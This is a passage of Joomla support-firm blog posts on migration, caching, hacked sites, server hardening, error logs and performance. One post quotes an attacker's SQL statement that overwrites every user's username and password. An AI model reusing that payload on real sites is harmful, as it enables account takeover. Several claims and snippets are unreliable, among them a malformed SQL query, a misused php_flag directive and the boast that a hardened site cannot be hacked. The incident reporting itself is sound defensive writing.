			$row->modified = version_compare(JVERSION, '1.6.0', '<') ? $now->toMySQL() : $now->toSql();
			$row->modified_by = $user->get('id');
		}
		else
		{
			$row->created = version_compare(JVERSION, '1.6.0', '<') ? $now->toMySQL() : $now->toSql();
			$row->created_by = $user->get('id');
			$row->ordering = $row->getNextOrder('catid = '.$row->catid);
			$row->featured_ordering = $row->getNextOrder('featured=1');
			$row->hits = 0;
		}

		if ($row->referenceType == 'custom')
		{
			$row->custom = $data['reference'];
		}

		if (!$row->store())
		{
			$this->setError($row->getError());
			return false;
		}
	}
}

We then created a dummy slide in the backend and saved it. This migrated all the slides, including the images! The issue was solved and we reverted the slide.php model file back to what it was before!

Some assumptions in our guide above:

  • The IDs of the categories are sequential on the old website and they start at number 2.
  • Both the old website and the new website use the same database, but the old Joomla website uses jos_ as the table prefix, while the new website uses a custom table prefix.

  • Your have not added/deleted any slides manually to FPSS on the new website. In short, you only have 4 test slides that came with the installation.

  • You are a good, careful developer or you have access to one.

If the above assumptions do not hold true for your Joomla website, then most certainly our method will not work, and you will need to contact us to migrate the slideshow for you. Please note that our very reasonable fees apply.

Menu Item Type Popup Not Appearing When Adding a New Menu Item in Joomla

One of our clients, for whom we have just migrated a Joomla website for her small business, called us today and told us that she wanted to know how to add a new menu item to the Main Menu to point to a new article she has just created. We emailed her (while still on the phone), the following guide:

  1. Login to the backend of your Joomla website.
  2. Click on Menus -> Main Menu.
  3. Click on the New button on the top right (it’s the orange button with the plus sign).
  4. Click on Select next to Menu Item Type and choose Single Article from the popup window.
  5. Fill in the Menu Title to the left.
  6. Choose an article by clicking on the Select/Change button next to Select Article.
  7. Click on the Save button on the top right.
  8. That’s it!.

We asked her to remain on the phone until she receives the email and then to try to add a new menu item to make sure that the guide works for her. Unfortunately, it didn’t! She told us that in Step 4 in the guide, she can’t see any popup window: the Menu Title field became red once she clicked on the Select button, nothing popped up. We asked her to try again, but she still wasn’t able to see the popup. We tested the website on several computers and on several browsers on our end and, in every instance, we were able to see the popup! It’s really hard to debug a problem that only exists on the client’s end!

In any case, we suggested to her using another browser (which was Firefox, she was first using IE), and she still had the same problem. We then asked her to clear the cache, and that fixed the problem. Aha!

Since she was using both IE and Firefox for her Joomla 1.5 website, and since these browsers were caching some Joomla 1.5 JavaScript libraries that also existed (albeit with different code) in the Joomla 2.5 website, her new Joomla website was using the cached (and incompatible) JavaScript libraries, and as such resulting in this issue. Clearing the cache solved the problem because it forced the browsers to use the most recent version of the JavaScript libraries from our client’s website.

If you have the same issue, where the menu item type popup is not popping up, then try deleting your browser’s cache. This should fix the problem! If it doesn’t, then please contact us. We’re experts in Joomla, our rates are affordable, and we’re confident that we will be able to fix your problem in no time!

The Mass Username/Password Update Hack in Joomla

So far this month, we have had 5 cases where all the users in a Joomla website had their usernames and passwords updated to the same value. In other words, all the usernames in those Joomla websites were set to admin, and all the passwords were set to an identical, md5 value.

This type of hack, of course, creates a huge problem, especially with community based Joomla websites (e.g. where the website has many registered users), since the website, post-hack, will technically have just one user, and most likely that user will not be able to login because his password was changed.

So, how did this happen?

Well, after investigating the 5 websites we have worked on this month so far, we came out with a pattern on how this hack happened:

  • The attacker exploited a loophole in Joomla and uploaded a PHP file to the images folder.

  • The file contained the following SQL statement (in base64 encoded format):

    UPDATE #__users SET username='admin', password='[MD5 value]'

  • The PHP file was executed from the attacker’s machine/server using CURL.

  • The query ran successfully, and the usernames and passwords for all the users were set to the same value.

We think that the attacker intended to just update one row (instead of them all) and the aim was to gain access to Joomla’s backend – but he was so lazy that he didn’t add a condition to the query to make it update just the first row!

What did we do to fix the problem?

The first thing that we did was that we removed the malicious file (the one containing the query), we then secured the website (especially the images folder), and finally we have reverted back to a previous backup of the #__users table. That fixed the problem.

We know, it seems that there’s a new type of hack every day, and that’s why it’s critical to keep your website protected. If you need help doing that, or if you need help cleaning up your hacked Joomla website, then you’re at the right place. Just contact us and we’ll ensure that your website is clean and secure in no time and for a very little cost.

Beware the Hacked 404 Error Page on Your Joomla Website

We are currently having an increasing number of cases where the 404 page – just the 404 page – is hacked. For example, when someone visits a page that doesn’t exist (on the Joomla website), he is either redirected to an obscene website or he just sees some obscene content on the Joomla website (or his browser starts downloading malware).

The problem with this sort of hack is that is very hard to notice, especially on well-built websites with no dead links and on small websites with very few visitors. That hack can lurk there for a very long time without anyone seeing it, and even if someone sees it, most likely he’ll be just a casual visitor who will never report it and who will never visit the website again. This type of hack, in our opinion, is one of the most dangerous out there, simply because it secretly kills the website: the traffic will decrease week after week and nobody will ever know why!

So, how can one discover if his website has a hacked 404 page?

This is simple. All you need to do is to visit any non-existing link on your website and see what you’ll get. If you get the normal 404 page, then your website is not hacked. If you don’t, well, you know what it means!

Now, you should be aware that even if your 404 pages look OK- they might not be clean. It might be that these pages only pretend to look OK for normal, human visitors, but they show their nasty nature to Google (this is called the Google hack), so you will need to check how your 404 pages look from Google’s eyes (you can fetch a page as Google from Google Webmaster Tools).

OK, so how can you fix a hacked 404 page?

Unfortunately – Joomla 404 hacks are quite diverse, and nearly every single case we have seen so far and fixed was unique. But, here are some guidelines to narrow down the location of the problem:

  • Change your template: If, after changing your template, the problem disappears, then the hack is lurking somewhere in your template. If this is the case then it shouldn’t be that hard to fix.

  • Disable JavaScript: If you disable JavaScript on your browser and the problem no longer exists, then the problem is most likely somewhere in one of your global JavaScript files. Fixing the problem, in this case, consists of following the steps below:

    • Backup all your JavaScript files.

    • Delete them, one by one, and reload your page after each deletion. Once the page is clean, then it means you’ve just deleted the culprit.

    • Restore the deleted files and clean up the culprit.

    • This should fix the problem.

  • Disable SEF

    If you disable SEF and your 404 pages become clean, then it is very possible that the hack is somewhere in your .htaccess file. Either download a fresh copy of Joomla (matching your version) and overwrite your current .htaccess file with that of the downloaded copy, or manually clean up your .htaccess file if you have the technical skills to do so.

  • If all else fails…

    As we previously said, Joomla 404 hacks are pretty diverse, so, if none of the above methods worked for you, do not be afraid. You can always contact us and we can definitely help. In just a few hours, we’ll be able to locate the problem and completely clean up your website. We’re always just an email or a phone call away, and we won’t cost you an arm and a leg!

Ultimate Security on a Joomla Website

Our clients (with previously hacked Joomla websites that we fixed) often ask us: “What can one do to have ultimate security on a Joomla website?”

Our short and concise answer would be: “Have a development server and a production server. The development server is the one where you do the updates (and it’s usually behind the DMZ). These updates are then synced back to the read-only production server.”

Let us explain…

The main and only reason why a Joomla website is hacked is that Apache has write permissions on some (or, in many cases, all) files/directories and because MySQL has (usually) full permissions on the Joomla database. But, does your visitor really needs all these permissions?

Generally, most of the Joomla websites out there are content websites – which means that normal visitors do not have to alter the filesystem (e.g. upload new files, modify files, etc…), and typically they will only need to make a modification to just one table in the database (which is the #__session) table. But (and there’s always a but), this doesn’t apply to people working on the website. For example: super administrators logging in to the backend and installing extensions, administrators logging in to the backend and uploading images, creating new content, disabling some categories, etc…

So, because of backend activities, Joomla websites must grant these write/full permissions on the filesystem and the database to anyone, including visitors who don’t need them (for legitimate use). So, what can one do to address this issue?

As stated above, having 2 servers, one for development and one for production will solve the problem. The development server will host a copy of the website which will be used by the staff to make updates (including installing extensions and adding/modifying content), and the production server will host the actual website that will be used by the visitors. Typically, the development server should only be accessed from a VPN and should be behind the DMZ. Permissions on the development server can be as loose as they can be because everything happens behinds the DMZ. Now, every morning, the filesystem and the database changes from the previous day should be pushed from the development server to the production server. Here’s how:

  • The filesystem should be rsync’d (all the files should be overwritten with the exception of the configuration.php file and the index.php file located under the administrator folder (we’ll explain later why). This should take care of syncing the filesystem.

  • Assuming the production’s database name is joomla_database, the development database should be copied to the production server, and it should be called joomla_database_v2.

  • The production database should be renamed to joomla_database_backup_[datetime], and the copied database (from development) should be renamed to joomla_database.

  • This’ll take care of a smooth database synchronization.

Note the filesystem sync and the database sync should be atomic, which means that if the sync fails on one of them, the whole sync process should be reverted. This can be quite complicated.

So, what kind of security should be on the production Joomla website?

Well, first of all, all the files and folders should be owned by root – and when we say all folders, we mean all folders, including the cache, the images, the logs, and the tmp folders. Additionally, the files’ permissions (across the board) should be 444, and the folders’ permissions (also across the board) should be 555. Note that the production website must use DSO and not suPHP. This’ll take care of the filesystem and ensures that no filesystem updates are possible by the website’s visitors.

As for the database, the database user accessing the production database must only be granted select permissions (and not all permissions) on all tables, with the exception of the #__session table, to which that user should also be granted delete, insert, and update permissions. Now, as you probably know, Joomla tracks hits on content items, which means that that database user must also have update permissions on the #__content table. However, we think that a better way to address this issue is to disable hit tracking on Joomla completely (if it’s not needed) – we’ll discuss how to do this in a future post.

One last thing that should be done is to remove the index.php file from the administrator folder. This ensures that no one can access the backend in the production website. (That’s why we excluded that file from being synced above).

As you can see, the security on the production Joomla website is ultimate. This Joomla website simply can’t be hacked. Of course, we are assuming that 1) Your production server is always up-to-date and 2) Your production server doesn’t have any other websites and doesn’t have any unnecessary software installed (in other words, your production server should have a very clean and up-to-date LAMP environment).

We helped very large companies implement the above strategy successfully. If your company runs a Joomla website and needs it to have ironclad security, then please contact us. We are security experts in Joomla, our work is fast and extremely professional, and our fees are very affordable!

Cyber Monday Means No Sales for Some Joomla Websites

Cyber Monday is a huge online event in North America (the US and Canada). For those who don’t know what it is exactly, it is the Monday immediately after Thanksgiving, and during that day, online retailers offer huge discounts on their products. Cyber Monday has gotten extremely popular since its inception back in 2005 and nowadays, even very small online retailers are taking advantage of that event to generate sales.

Now – enough with the introduction – and let us explain what happened yesterday morning (which was, coincidentally, Cyber Monday). A client called us and told us that his VirtueMart shop on his Joomla website is not working properly – he said that the transactions were not going through, and those that were going through, were not being registered properly. We started working on the client’s website immediately. A few minutes later, the phone rang again, it was another customer with the same problem. By 10 AM in the morning we had 7 clients calling in and telling us that their VirtueMart store is not working. They were all getting the following error:

Failure in Processing the Payment (ps_authorize)

When the same error happens em masse, we usually start questioning whether the problem is from the website itself or from elsewhere, and it didn’t take long for us to discover that the problem was indeed elsewhere: all these websites were using the same payment processor, and that payment processor was simply not able to cope with all the load on Cyber Monday (there were just too many simultaneous transactions – too many for that payment processor to handle). We actually called the payment processor to confirm the issue.

Unfortunately, the day that was supposedly going to generate more revenue than a whole week (or maybe a whole month) for most of these businesses, ended up as one of the most disappointing days in the whole year. Not to mention, of course, that some of the transactions were successfully processed by the payment processor but the latter returned fail for each of these transactions, which means that these small businesses also had to deal with clients who got charged for absolutely nothing. Not good!

We hope that Cyber Monday went well for you – if it didn’t because of a technical (and costly) glitch with your payment gateway, then maybe it’s time to consider an alternative. And, if you’re afraid of the technical hurdles when migrating from one payment processor to another, then fear not, we can help you there! Just contact us and we’ll migrate you to another payment processor, of your choice, in no time and for a very reasonable fee!

VirtueMart: The Most Horrible Joomla Extension to Migrate

After migrating hundreds of Joomla websites from 1.5 to 2.5 (and dozens to 3.2), we have learned 2 things:

  1. A migration is never an easy task, and we have explained that, in details, here.
  2. VirtueMart is, by far, the most horrible extension to migrate.

Since we have already discussed the first point before, let’s focus, in this post, on the second point.

So, why is VirtueMart that horrible to migrate?

Well, first of all, there is no tool to migrate VirtueMart 1.x to VirtueMart 2.x – although the developers claim they have a tool, and they claim that it works, we couldn’t, for the life of us, get this tool work to properly for us once. Sometimes it migrates products, but without the images. Sometimes it doesn’t migrate the orders, sometimes it migrates the same products twice, sometimes it doesn’t migrate the categories. That tool that they claim one should use to migrate VirtueMart’s content is erratic, inconsistent, and buggy. What’s even worse that for one to use the buggy migration tool, he should perform a series of lengthy and painful rituals that may or may not work as intended!

Now, even if one decides (and rightly so) not to use the migration tool and create a script to do that, there’s one tiny hurdle: the database structure of VirtueMart 2.x is completely different from that of VirtueMart 1.x, and when we say completely different, we mean completely different. A small example is that the products are no longer stored in one table, but they are spread over multiple tables – and this is the same for many other data types (categories, manufacturers, etc…). This means that any working PHP script to migrate from VirtueMart 1.x to VirtueMart 2.x would be a really, really complicated script.

But, assuming that you were able to successfully migrate the data to VirtueMart 2.x using a custom made script (and the help of some Joomla experts). There is still one last hurdle: Your 3rd party and home-built/custom-built extensions for VirtueMart 1.x will not work with VirtueMart 2.x – now, if you’re lucky, you will find a new version for each 3rd party extension that is compatible with VirtueMart 2.x, but what about the extensions that are no longer supported, and those home built/custom built extensions that cost you dearly a few years ago and that you absolutely require for your online store? So, the next step would be for you to migrate these extensions manually, or to hire a company to do it for you if you don’t have the necessary technical skills.

As you can see, migrating VirtueMart from version 1 to version 2 is a never-ending nightmare. We think that the developers should have taken the migration tool that they have created more seriously – that would have saved quite a lot of money for the many VirtueMart users out there. But hey, that’s what you get when an extension is free from the get-go.

But what about just keeping good old VirtueMart 1.x and upgrading to Joomla 2.5 or (3.x)?

If you’re intimidated by VirtueMart’s migration process (and you should be – unless you’re a programming super-hero), then you might be thinking, “what if I keep my old version of VirtueMart when I migrate to Joomla 2.5?”. Unfortunately, this is not possible – you must use VirtueMart 2.x with Joomla 2.5 and higher; VirtueMart 1.x is not compatible with anything above Joomla 1.5.

So, what should one do?

Well, you have 2 options:

  1. Re-create your store from scratch in VirtueMart 2.x, which is probably your best option if you just have a few products OR
  2. Contact some Joomla experts and have them do all the work for you!

In case you haven’t guessed it already, we are those Joomla experts. Just contact us and we promise to fully migrate your VirtueMart store regardless of its size and the number of 3rd party extensions that you have. We are fast, we are professional, and we won’t cost you much!

The “error_log” File in the Root of Some Joomla Websites – What Is It?

There are some Joomla websites that have a file called error_log in their root directory (e.g. directly under public_html). For some websites, the error_log file is a several hundred megabytes in size and it grows by a few megabytes everyday. So what is this file and is it necessary to have it?

Let’s start with explaining what this file is. The error_log file contains all the errors that happen on your Joomla website. Some of these errors are visible to your users, such as fatal errors, and some aren’t, such as missing an Apache module (quick note: Apache modules are not the same as Joomla modules – they are completely different things). The error_log file contains every error, the time it happened, and the page where that error happened (again, it might be that the error is invisible to the end user, in other words a system error).

So, what’s the point of having this file?

This file is extremely helpful – it contains every error that happened on the Joomla website, where it happened, and when it happened. The purpose of having this file is to help you fix the errors that occur on your Joomla website. It is also very helpful to catch some potential exploits before the real exploit, since malicious attacks generate a lot of errors before they succeed.

But, won’t others be able to read/download that file file by just going to http://yourjoomlawebsite.com/error_log?

Unfortunately they can, but there are several ways to address that, one of them is just to block access to that file in the .htaccess file:

<Files "error_log">
     Order allow,deny
     Deny from all
</Files>

But what if I don’t want to have that file at all?

Disabling error logging to the error_log file is a very simple task, all you need to do is to add the following line to the beginning of your .htaccess file:

php_flag log_errors Off

So what’s the best practice? Is it to have this file or not to have it?

We think that having this file on your production website, but with disabled access to the public, is best practice. It’ll record all the errors that happen on your Joomla website giving you a chance to fix them, ultimately making your website better.

And what if I want to name that file something else?

Easy peasy! All you need to do is to add the following line to your htaccess file:

php_flag error_log /home/[website]/public_html/my_error_log.txt

Note that the above assumes that you are using WHM/cPanel as the backbone of your Joomla website. If you’re using Plesk, then the code would be something like this:

php_flag error_log /var/www/vhosts/[website]/httpdocs/my_error_log.txt

Now, if your error_log file is full of errors, and you need help fixing them, then why not contact us, we’re always here to help, we are fast, we are professional, our rates are affordable, and we are true Joomla experts!

Why Is a Joomla Website Much Slower for Logged-in Users?

While optimizing a large Joomla website this morning (the website had around 100,000 pages), we noticed that the website was considerably slower for logged-in users than for the general public. Most pages, on that particular website, were loading (after our optimization) in 0.2 to 0.3 seconds for visitors, but these same pages were taking nearly 20 seconds each to fully load for logged-in users (including super users). The pages that were mostly affected were Category List views. Hmmm!

In order to unveil the secrets behind the slowness, we printed all the queries that were executed to generate a page for both logged-in users and guests. To our surprise, we saw that there were many additional queries that were being run only for logged in users, and all of these queries had something to do with the #__assets table.

So, what is the #__assets table?

The #__assets table is one of Joomla’s 1.6+ (e.g. all versions above 1.6, including 1.7, 2.5, and 3.x) worst ideas. It is used to keep information about all the installed/added extensions/content items on the Joomla website. This information tells Joomla the following information: who is the parent for each of these extensions/content items and which users have permissions on these extensions/content items.

OK, now what were these queries and what is their purpose?

These queries, as stated above, were mainly querying the #__assets. There were many of them and they were not always the same. Some of them were quite complex and inefficient – that inefficiency is only evident when you have many rows in the #__assets table – which is the case when you have 10,000+ articles on your Joomla website (each article is represented by an entry in the #__assets table). The inefficiency was that each of these complex queries had a LEFT JOIN on the #__assets table itself, so the query was something like:

SELECT b.rules FROM #__assets AS a, b.id, b.rules, b.lft WHERE (a.name = ' value' OR a.parent_id=0) LEFT JOIN #__assets AS b ON b.lft <= a.lft AND b.rgt >= a.rgt ORDER BY b.lft

If you care to know, the above query is used to calculate the permissions that the logged in user has on the displayed content (e.g. maybe the user shouldn’t see that content, or maybe the user should be able to edit that content, etc…). While this functionality is helpful for some websites with complex user permissions, it is useless and represents a huge overhead for large Joomla websites.

So, what did we do to solve the problem?

Unfortunately, we had to modify Joomla’s core to fix the problem. There was no other solution since the problem was actually built-in in Joomla (we never used the word built-in in a negative context before – well, there’s always a first for everything).

Once we did the modification, the site ran very smoothly even with logged-in users.

Is there another solution?

Migrating your Joomla content to K2 can also solve the problem – since K2 is a much better and efficient platform than Joomla’s core content management system (Unlike Joomla’s core, K2 doesn’t use the #__assets table for displaying any of its content).

We understand that Joomla can sometimes be a bit disappointing performance-wise, especially for large websites. We can fix that for you – just contact us and rest assured that your Joomla website will run at a blazing speed once we’re done with it – oh, and we won’t charge you much!

5 Tips to Optimize Your Joomla Template

If there is any non-core section of your Joomla website that is critical to its performance, it must be the template. Your Joomla template is loaded on every single page that is served to your visitors, which means that any performance issue on your template will negatively affect your visitors’ experience on your website. Here are 5 tips that will help you enhance its performance:

  1. Remove module positions that you’re not using: For every module position that you have on your Joomla website, there’s a query (and subqueries) that tries to get all the modules from the database for that particular position. If there are no matching modules, the query will still run anyway. Removing these unnecessary positions will ensure that no queries are run needlessly.

  2. Use a different template for pages with completely different layout: Do not try to swamp your template with if conditions to make it adjust to all layouts. If a layout is substantially different than your main template, then go ahead, create a different template for that layout and assign that new template to all the pages that fall under this new layout.

  3. Try to move the content of static modules that are assigned to all pages to your template: OK, we know, this tip might be considered as “bad practice”, but let us explain: As we stated above, any module inclusion represents a database overhead. If, you have a module that is included on every single page and always has the same content (and, of course, always assigned to the same position), then it’s better to move it to your template, you will save unnecessary hits to the database and your website will be slightly faster (noticeably faster if that module does a lot of calculations). Note that this strategy works very well on large Joomla websites.

  4. Ensure your template has valid HTML: A page with valid HTML not only is lighter on the browser, it is also a healthy sign for search engines. Now a template with valid HTML does not necessarily mean that your website’s HTML is valid (because your content’s HTML might not be valid), but it is a good first step and it is necessary towards having a website that is fully W3C compliant.

  5. Remove comments and unnecessary code from your template: While comments and unnecessary code are not that very expensive when it comes to performance, they do have a cost, and that cost is “incurred” on every page. Removing those comments and unnecessary code has a slight positive performance on the Joomla website and it’s very simple to do!

We hope that you found these 5 tips helpful. If you need help implementing them, then please contact us and we can do the work for you. Our fees are reasonable, our work is ultra-fast and professional, and we are extremely friendly!

A Small Yet Critical Inconsistency in Joomla

Not a day goes by without us noticing this inconsistency in Joomla: it’s confusing, it’s weird, and it’s very dangerous. We know, you have no idea what we’re talking about at the moment. Let us explain…

Login to the backend of your Joomla website, and then go to Site -> Global Configuration, and then click on the System tab. On the right side, under Cache Settings, you will see Cache Time, which is the default time that Joomla will cache modules (and pages, if you’ve enabled the System – Cache plugin) for. Cache Time is set to 15 by default. Now, if you hover on the label Cache Time, you will see the following explanation:

The maximum length of time in minutes for a cache file to be stored before it is refreshed.

You’ll know why we highlighted in minutes in just under a minute (pun intended).

Now, go to Extensions -> Module Manager, and click on any module of type Menu (for example, your Main Menu module), and then click Advanced Options on the right. The last field under Advanced Options is Cache Time, and it is set, by default to, 900. Now, if you hover on Cache Time here, you will see the following popup message:

The time before the module is recached

Hmmm… The time in what? In minutes? In seconds? In days? Since we have a lot of experience in Joomla, we know that it’s in seconds, and that’s why it’s defaulted to 900 (which translates to 15 minutes), but, unfortunately, not everyone has the same Joomla experience that we have, and this might be very confusing and dangerous (if you’re heavily using caching on your website, and you are assuming that everything is in minutes).

We have no idea why was this inconsistency not addressed in Joomla 2.5. We also have no idea why the popup message for the module does not specify the unit of time, if it did, everything would be much clearer (it literally takes 1 minute to fix this in the language file).

This is more or less like a rant, but a positive rant, and we’ll make sure that the Joomla developers know about it, so that they can fix it. Meanwhile, always remember that only the Global Cache is in minutes, everything else is in seconds. Oh, and while we’re on the same subject, if you have a caching problem on your Joomla website, then please contact us and we can fix it for you in as little time and for as little cost as possible!

Avoid Including External JavaScript Files on Your Joomla Website

A client called us today and told us that even though his website is loading properly, he’s noticing that the “Transferring Data…” message at the bottom left of Firefox is taking forever to disappear, as if Firefox hasn’t finished loading the page (when, again, the page is fully loaded). We knew immediately what the issue was: this usually happens when Firefox (or any other browser) is trying to load an external file (the external file can be an image, a CSS file, or a JavaSript file) that is located on a slow website.

We did a quick investigation using Google Chrome (here’s how: we loaded the website in Google Chrome, and then right clicked, chose Inspect Element, clicked on Network, clicked on Time, and then refreshed the page – the slow loading file could be found at the bottom of the debug window) and discovered that the file that the Joomla website was trying to load was a JavaScript file responsible for adding the “Read more on… [link to the Joomla page]” when pasting copied content from a page. That script was located on a 3rd party website that was extremely slow.

We then told the client that he should disable the plugin that is responsible for loading the script, but our client told us: “But this functionality will increase my traffic…”

We told him that this is not true, this kind of technique doesn’t increase traffic. While it can have a positive effect on very large and important websites, most people will not leave the line “Read more on…” on their pasted content if the website they have copied from is not well known. Sad, but true!

Additionally, the problem with this tool (or whatever you want to call it) is that it pollutes the web, simply because it adds a hash to the URL. That hash means something only for that tool (the hash is mainly used for tracking how many people shared the link and how many people clicked on the shared link – of course, this information is sent to the 3rd party website and never shared with the site owner himself).

Furthermore, there is a huge issue with this tool, and it is that any external JavaScript file can be used to steal keywords and other important information from the host website. An external JavaScript file can also potentially read what your users are writing on your website, including, but not limited to, their usernames and passwords. Now you might be thinking “This can’t be true”, but think about it this way, why would that 3rd party website allow you to use that tool for free, and why do they host such a simple tool on their website instead of yours? As the old saying goes “There’s no such thing as free lunch”…

Finally, an extension that includes external files can slow down your whole website, and can jeopardize its rankings if the required external files are deemed to contain some sort of malware.

Bottom line, ensure that all the files that you are including on your website are actually located on the same server or one of your servers – never trust files that you cannot change yourself.

If you’re having the same problem on your Joomla website, and if you are not able to find the culprit extension, then why not contact us? We’ll find it for you in no time and we won’t charge you much!

The JED (Joomla Extensions Directory) Need to Be Better Managed

At itoctopus, we love to share our knowledge about Joomla. We think that by doing so, we are helping Joomla become an even better CMS. We also like to share our knowledge because we believe in knowledge sharing as a concept that evolves our civilization in general (think about what would have happened if Thomas Edison and Nikola Tesla kept their knowledge to themselves). Now, before getting too philosophical, let us explain what this is all about…

Back in May, we submitted a simple extension, this one, to the JED. Today is November 19th and the extension still wasn’t approved or disapproved. This can only mean one thing: the people managing the JED are understaffed, perhaps reduced to just one person who may or may not be fully dedicated to this job.

Now, we know that Joomla is open source, and most likely it doesn’t get enough money to afford full time staff, but if Joomla’s core is the heart of Joomla, then the JED is the limbs. One can do very little without his limbs, and the same concept applies to Joomla. A Joomla website is a barely functional website without 3rd party extensions (imagine Joomla without JCE Editor, K2, RS Form, VirtueMart, etc…) . This means that by ignoring the JED, Joomla can slowly, but surely, become a less attractive CMS, especially for potential users, which in turn has disastrous effects on Joomla and the companies supporting it.

Of course, we don’t want to reach a point where Joomla becomes obsolete because the JED is being neglected. That’s why we are proposing 2 solutions:

  1. Have a Wikipedia-like donation season, where everyone visiting the website will be asked if he could donate a small amount to support Joomla. A visible donation thermometer will encourage many people to donate to support the project. Joomla might not need millions; just a couple of hundred thousand dollars would probably be more than enough to help the project and hire a couple of people to manage the JED.

  2. If the above is not an option, then allow any member to submit an extension (for a very small fee – something like $5) and approve it automatically. Let the community decide whether the extension is bad or good. While this concept seems a bit frightening, one has to admit that it’s working rather well for Google on the Google Play market (on Android devices).

We think that the first option is infinitely better than the second one, but the second option is still better than what we have right now. Either option can help Joomla from falling into the abyss of outdated CMS’s.

Now, if you want to discuss with us your thoughts on the JED and how to make Joomla a better CMS, then feel free to contact us. We always pick up the phone and we always listen!

How to Create an RSS Newsletter Subscription Functionality on Your Joomla Website

Joomla websites are typically not used as blogs. However, it is very common for a Joomla website to have a blog. That blog is usually a Joomla category blog (some websites use the WordPress extension, but we don’t recommend it, since you’ll be maintaining 2 websites instead of one). Of course, once a Joomla website has a blog, the next question will be, “how to tell people about new posts on that blog?”

The answer is simple, and it’s called RSS Newsletter Subscription, and this is exactly what one of our clients asked us to do this morning. Here’s a step-by-step description of what we did:

  • We downloaded NinjaRSS Syndicator. We then installed it and optimized it. (NinjaRSS Syndicator, for those who don’t know, is a Joomla extension that generates an RSS feed from one or more Joomla categories.)

  • We then created a feed in NinjaRSS Syndicator the following way:

    • While logged in to the backend of the Joomla website, we clicked on Components -> NinjaRSS Syndicator -> Feeds.

    • We clicked on New on the top right.

    • In the form, we entered the name of the feed, and then we typed in “20″ (without the quotes) next to Number of messages to show in feed, and then we chose “Created Date Descending” next to Order By, and then we typed in “3600″ (again, without the quotes) next to Number of seconds to cache (caching RSS feeds is important because generating them can be a bit heavy on your server, especially if your Joomla website is not well optimized), and then next to Include or Exclude Categories we selected Include Selected Categories, and finally in the list box below (next to Selected Categories) we just chose the category called “Blog” (of course, your category can be named something different, but you get the idea).

    • We hit on Save & Close on the top right.

  • Once we clicked on Save & close, we saw our feed on NinjaRSS Syndicator’s Feeds page. Under Feed url, we copied the link to the feed and saved it in a file so that we can use it later. The link to that feed was: http://www.ouclientjoomlawebsite.com/index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw.

  • Now, we needed to use a third party service that will allow people to subscribe to our client’s RSS feed and send them a daily newsletter. An excellent service that does exactly that is Feedburner, which is a Google product. So, we visited http://www.feedburner.com and logged in with our client’s Google credentials.

  • Under Burn a feed…, we entered the URL of our feed, which was http://www.ouclientjoomlawebsite.com/index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw, we then clicked on Next.

  • We then followed the instructions by filling in the required fields, and then once we reached the Control Panel of the feed, we clicked on Publicize on the top navigation, and then we clicked on Email Subscriptions to the right. We then clicked on Activate and then we copied the Subscription Form Code (the first textarea), and finally we clicked on the Save button below.

  • At this point, we only needed to add the Subscription Form to the Joomla website. So, we created a new Custom HTML module, we called it Subscribe, and then pasted the Subscription Form Code (copied from the step above) to the Custom Output of that module (please ensure that your editor will not strip away your HTML/JS code before you do that – otherwise, you will not see the form on your website).

  • We assigned the module to the Blog menu item (the position of that module was “right”, but you might want it somewhere else in your case), and then we clicked on Save on the top right, and Presto! Our client’s blog suddenly had a beautiful RSS subscription form!

  • We tried it and it was perfectly working! The job was done!

We really hope that this guide helped you in creating your RSS newsletter subscription functionality on your Joomla website. If it didn’t, or if you found it to be a bit intimidating, then fear not, we’re always here to help. Just contact us and we’ll create an RSS Newsletter subscription on your Joomla website in no time and for a very, very affordable fee!

A few important notes:

  • FeedBurner is a Google complimentary service, and we don’t know whether Google will keep FeedBurner active forever. It seems that Google no longer believes in RSS, and it might be only a matter of time before Google ditches FeedBurner. There are several alternatives to FeedBurner, but they are mostly commercial and not that intuitive to setup.

  • FeedBurner sends newsletters daily. There is no way to set it to send weekly or monthly newsletters. FeedBurner will not send any newsletter if you don’t have any new content.

  • You can set, in Feedburner’s settings, which time you want your newsletters to be sent out, and FeedBurner will attempt to deliver your newsletters at that time. There are no guarantees though that FeedBurner will deliver the newsletters during your preferred timeframe.

Whatever You Do, Do Not Hit That “Update Now” Button Without First Backing Up Your Joomla Website

Yes, it’s a very long title, but we couldn’t think of one that is more descriptive. Obviously, there’s a story to this, so relax, and let us tell you a bedtime story (it’s 11:31 PM here in Montreal).

A client called us around 9 PM (about 2 hours ago), and told us that all of a sudden, his Joomla website stopped working. It was displaying the following error:

Fatal error: Call to a member function get() on a non-object in plugins/system/remember/remember.php on line 94

So we asked him what he was doing when this problem happened. He told us that he clicked on the Update Now button on his Joomla 3.1.5 website. In other words, updating Joomla to the latest version simply crashed his website.

So, we started fixing his website, which was more or less like a cat and mouse game. Here’s what happened:

  • We downloaded a fresh copy of Joomla 3.2.
  • We extracted the file remember.php which is located under the plugins/system folder and we uploaded it to the corresponding place on the Joomla website.

  • We checked the website and we had the exact same problem on the file joomla.php which is located under the plugins/user/joomla folder.

  • Again, we extracted the file joomla.php which is located under the plugins/user/joomla folder and we uploaded it to the corresponding place on the Joomla website.

  • We checked the website and at that time, it displayed a MySQL query which was not working. In other words, the database was officially corrupt and needed to be fixed.

  • We thought hey, maybe we can fix the database (Joomla has this wonderful “Fix Database” tool), so we logged in to Joomla’s backend, and we clicked on Extensions -> Extensions Manager -> Database, and to our horror, we saw another MySQL query error, claiming that the table #__content_types did not exist. The Fix button which should’ve been on the upper left corner was nowhere to be found. So, we had to address that missing table issue before moving forward.

  • So, we checked the file joomla.sql which is located under the installation/sql/mysql folder in Joomla’s 3.2 install file, and we were able to figure out the structure of the #__content_types in order to re-create it. So, we logged in to phpMyAdmin (from cPanel) and we ran the queries starting from line 392 (CREATE TABLE IF NOT EXISTS `#__content_types`…) until line 426 (in the joomla.php file). This re-created the #__content_types table and filled it with the right data.

  • After doing the above, we were able to see the Fix button, and so we clicked it, and that fixed the database. The website worked normally after that.

Now, the big question is, why did we have to all the above? Our client just had a very basic Joomla 3.1.5 website with no 3rd part extensions whatsoever and he just wanted to update to the latest Joomla version. There was nothing wrong with what he did, but there was definitely something wrong with Joomla. The sad part is that this whole thing cost him money he shouldn’t have paid in the first place, and the loss of potential clients for a few hours. Not good!

While we have warned against Joomla 3.x a year ago, we thought that maybe, just maybe, Joomla 3.x got better after a full year. Obviously, it didn’t, in fact, it got worse and it got more dangerous. We should probably wait for a few more months to see where Joomla 3.x will be before recommending it (or not) to our clients.

